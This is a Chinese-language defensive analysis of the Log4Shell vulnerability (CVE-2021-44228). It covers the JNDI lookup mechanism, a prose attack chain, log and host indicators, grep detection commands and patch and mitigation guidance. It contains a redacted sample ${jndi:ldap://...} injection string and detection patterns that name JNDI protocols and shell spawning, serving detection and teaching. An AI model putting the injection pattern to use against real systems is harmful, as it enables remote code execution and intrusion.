漏洞/实验概述
CVE-2021-44228(Log4Shell)是 Apache Log4j2 在解析日志消息时对 ${...} 查找表达式处理不当导致的 JNDI 注入漏洞。攻击者只需让一段可控字符串进入被记录的日志消息,就可能触发对外部 JNDI 服务的查询;在特定 JDK 版本与依赖条件下,这条查询链路最终可以走到远程代码执行。
| 项目 | 内容 |
|---|---|
| 漏洞编号 | CVE-2021-44228 |
| 受影响组件 | Apache Log4j2(log4j-core) |
| 受影响版本 | 2.0-beta9 至 2.14.1 |
| 公开披露 | 2021 年 12 月 |
| CVSS 3.1 | 10.0(Critical) |
| 利用前提 | 可控输入被写入日志 + 可出站访问 JNDI 服务(或存在本地 gadget) |
| 公开内容边界 | 本文只讨论机制、痕迹与防御,不提供完整 payload 或利用脚本 |
需要强调的一点是:漏洞存在于日志组件本身,而不是某个具体业务。只要应用把用户可控内容交给 Log4j2 记录,风险就随日志语句扩散到大量入口,例如 HTTP 头、URL 参数、表单字段、聊天消息和第三方回调内容。
漏洞成因 / 原理
消息查找(Message Lookup)机制
Log4j2 允许在日志文本中嵌入 ${prefix:key} 形式的查找表达式,在输出日志前进行求值。例如 ${java:version} 会被替换为当前 JVM 版本。这个设计本意是让日志更灵活,但它把“日志内容”变成了会被解释执行的表达式。
Log4j2 默认注册了多种 lookup,其中 jndi lookup 会把表达式内容交给 Java 的 JNDI(Java Naming and Directory Interface)接口处理。也就是说,日志里出现一段 JNDI 地址,Log4j2 就会主动发起一次目录服务查询。
从日志文本到 JNDI 查询
在受影响版本中,消息查找默认开启,且 jndi lookup 未被限制。攻击者控制的字符串一旦被记录,就会经历如下过程:
- 业务代码调用
logger.info(...)等方法,把包含可控内容的字符串写入日志; - Log4j2 对该消息做 lookup 替换,识别
${...}表达式; - 若表达式前缀为
jndi,Log4j2 调用 JNDI 接口解析其中的地址; - JNDI 客户端按照地址协议连接外部 LDAP/RMI 等服务,并取回命名引用(Reference);
- 引用中的工厂类信息被 JVM 用于加载与实例化对象。
触发条件可以归纳为四点:
- 组件条件:classpath 中存在受影响版本的
log4j-core; - 数据条件:攻击者可控字符串进入了日志消息或参数;
- 解析条件:消息查找未被关闭(受影响版本的默认行为);
- 网络条件:应用主机能出站访问攻击者控制的 LDAP/RMI 服务,或本地 classpath 存在可利用的 gadget。
为什么能走到代码执行
JNDI 的 LDAP 提供者支持返回 Reference,其中可携带 javaClassName、javaFactory 与 javaCodeBase 等属性。早期 JDK 允许从 javaCodeBase 指定的远程地址加载工厂类,JVM 下载并实例化后即执行攻击者提供的字节码。
Oracle 在多个 JDK 更新中收紧了远程 codebase 加载:RMI 的 com.sun.jndi.rmi.object.trustURLCodebase 在 8u121、7u131、6u141 起默认改为 false;LDAP 的 com.sun.jndi.ldap.object.trustURLCodebase 在 8u191、7u201、6u211、11.0.1 起默认改为 false。远程类加载因此被默认阻断。但这并不等于漏洞消失:攻击者可以改为返回一个本地 classpath 中已存在的工厂类,借助其构造过程或 setter 调用间接触发代码执行。典型例子是 Tomcat 中的 org.apache.naming.factory.BeanFactory,它能按引用里的属性实例化指定 Bean 并调用 setter;当环境同时存在表达式解析能力时,风险进一步放大。是否成功取决于目标 classpath 上是否存在可用 gadget,这也是同一漏洞在不同应用中表现差异很大的原因。
绕过与混淆
由于 lookup 支持嵌套与大小写转换,攻击者可以对关键字做拼接、大小写变换或编码,使简单的字符串特征匹配失效。WAF 与日志检测因此不能只依赖单一路径的字面量规则,还需要覆盖 URL 编码、Unicode 转义、多层嵌套等变形形式。
攻击链路分析
以下仅做文字化流程说明,省略任何可直接使用的外部地址、参数与构造细节。
- 寻找可控入口:攻击者枚举会被应用记录到日志的字段,例如
User-Agent、X-Forwarded-For、自定义业务头、搜索关键字、登录失败提示等。 - 植入查找表达式:把一段 JNDI 查找表达式放入上述字段。表达式在传输过程中可能经过编码或分段混淆,以绕过边界设备。
- 触发日志写入:业务正常处理请求并记录日志,Log4j2 在输出阶段完成表达式求值。
- 外连目录服务:应用主机向攻击者控制的 LDAP/RMI 服务发起连接,攻击者由此确认漏洞可利用,并可获取来源 IP 等信息。
- 返回命名引用:目录服务返回带有工厂类与代码库信息的引用,或返回一个指向本地已有类的引用。
- 加载与实例化:JVM 按引用加载工厂类并实例化。旧 JDK 且允许远程 codebase 时可直接执行远程字节码;新 JDK 下则依赖本地 gadget 链完成间接执行。
- 后利用:获得执行能力后,攻击者通常会先做身份与网络可达性探测,再部署持久化或横向移动。此阶段的行为已经属于常规主机应急响应范畴。
整条链路的关键并不在“日志里写了什么”,而在于日志组件把数据当成了可解释的表达式。修复思路也应围绕这一点展开,而不是只拦截某个特定字符串。
攻击痕迹与日志特征
Web 与应用日志
被记录的请求头、URL 或参数中会出现 jndi 相关表达式。实际日志里可能是明文,也可能是 URL 编码或嵌套变形,因此检索时要同时覆盖原文与编码形态。
203.0.113.10 - - [10/Dec/2021:09:14:22 +0800] "GET /api/login HTTP/1.1" 200 512 "-" "curl/7.79.1 ${jndi:ldap://<redacted-host>/<redacted-path>}"
上例中的地址与路径已脱敏,仅用于说明日志字段的形态,不构成可用输入。
应用侧还可能出现 Log4j2 自身的错误日志,例如 JNDI 查找失败、无法连接目录服务、类加载异常等。这些异常往往出现在漏洞探测阶段,因为攻击者会先验证外连是否成功。
网络与主机痕迹
| 观察点 | 典型特征 |
|---|---|
| DNS 查询 | 应用主机向陌生域名发起解析,子域随机、长度异常,可能对应带外验证 |
| 出站连接 | Java 进程连接非预期的 389/636(LDAP)、1099(RMI)等端口 |
| 进程行为 | Java 进程派生 sh、bash、cmd.exe、powershell 等子进程 |
| 文件行为 | 临时目录出现新下载的 class/jar 文件,或异常脚本文件 |
| 日志组件 | JndiLookup 相关报错、类加载失败、连接超时集中出现 |
| EDR 遥测 | Web 容器进程发起的外联与子进程创建,通常不符合基线 |
快速排查命令
以下命令用于在 Nginx 访问日志中做初步筛查,属于防御性检索,不包含任何利用代码。
# 明文与常见协议关键字
grep -Ei 'jndi:(ldap|rmi|dns|iiop|nis|corba)' /var/log/nginx/access.log
# URL 编码后的形态(%24%7B 对应 ${)
grep -Ei '%24%7B.*jndi' /var/log/nginx/access.log
# 统计可疑请求的来源与时间分布
grep -Ei 'jndi:' /var/log/nginx/access.log | awk '{print $1}' | sort | uniq -c | sort -nr | head
生产环境还应结合 DNS 日志、防火墙出站记录与主机 EDR 做交叉验证。单看 Web 日志容易漏掉经过多层解码的变形输入。
缓解、检测与防御方案
版本修复
| 版本 | 说明 |
|---|---|
| 2.15.0 | 限制 JNDI 远程类加载,但随后发现 CVE-2021-45046,仍不完整 |
| 2.16.0 | 移除消息 lookup 中的 JNDI 支持,默认禁用 JNDI,是重要节点 |
| 2.17.0 | 修复 CVE-2021-45105(自引用 lookup 导致的拒绝服务) |
| 2.17.1 | 修复 CVE-2021-44832(JDBC Appender 相关风险),Java 8 环境建议基线 |
| 2.12.2 / 2.3.2 | 分别对应 Java 7 / Java 6 分支的修复版本 |
升级时不能只看 log4j-api,必须确认 log4j-core 的实际版本与打包产物中是否存在被遮蔽(shaded)的旧版本类。大型应用常因依赖传递或 fat jar 内嵌而残留旧组件。
临时缓解
在无法立即升级时,可采用以下手段降低风险,但它们只是过渡措施:
# log4j2 配置或启动参数(适用于 2.10.0 及以上)
log4j2.formatMsgNoLookups=true
也可以从 log4j-core 包中移除 JndiLookup 类,使 jndi 查找不可用:
zip -q -d log4j-core-2.14.1.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
需要注意:修改 jar 属于应急手段,后续升级或重新打包会被覆盖,必须纳入变更管理并有回归验证。
网络与架构层面的防御
- 限制出站:应用服务器不应无条件访问互联网的 LDAP/RMI 端口,按业务需要建立白名单;
- JDK 基线:使用已默认关闭远程 codebase 加载的 JDK 版本,并保持补丁更新;
- WAF 规则:覆盖
jndi关键字的编码、嵌套与大小写变形,但不能把 WAF 当作唯一防线; - 日志脱敏:对进入日志的用户输入做结构化处理,避免整段原始请求头被直接记录;
- 依赖治理:建立 SBOM 与依赖扫描,持续识别内嵌的旧版 Log4j2。
检测规则思路
检测应同时覆盖“输入侧”和“行为侧”:
- 输入侧:Web 日志、网关日志中出现 JNDI 关键字或其编码形态;
- 行为侧:Java 进程非预期外联目录服务、派生 shell、临时目录出现新 class/jar;
- 关联侧:同一来源 IP 先出现可疑输入,随后目标主机出现外联或子进程,应按事件链升级处置。
只命中输入侧关键字会产生较多误报,建议与出站连接、DNS 查询和进程行为做关联分析后再定性。
实验声明:本文章所有相关实验,均在本人拥有完全授权的自建隔离靶场中完成,仅用于网络安全技术学习、防御方案研究。未经授权对任何信息系统进行测试、攻击属于违法行为。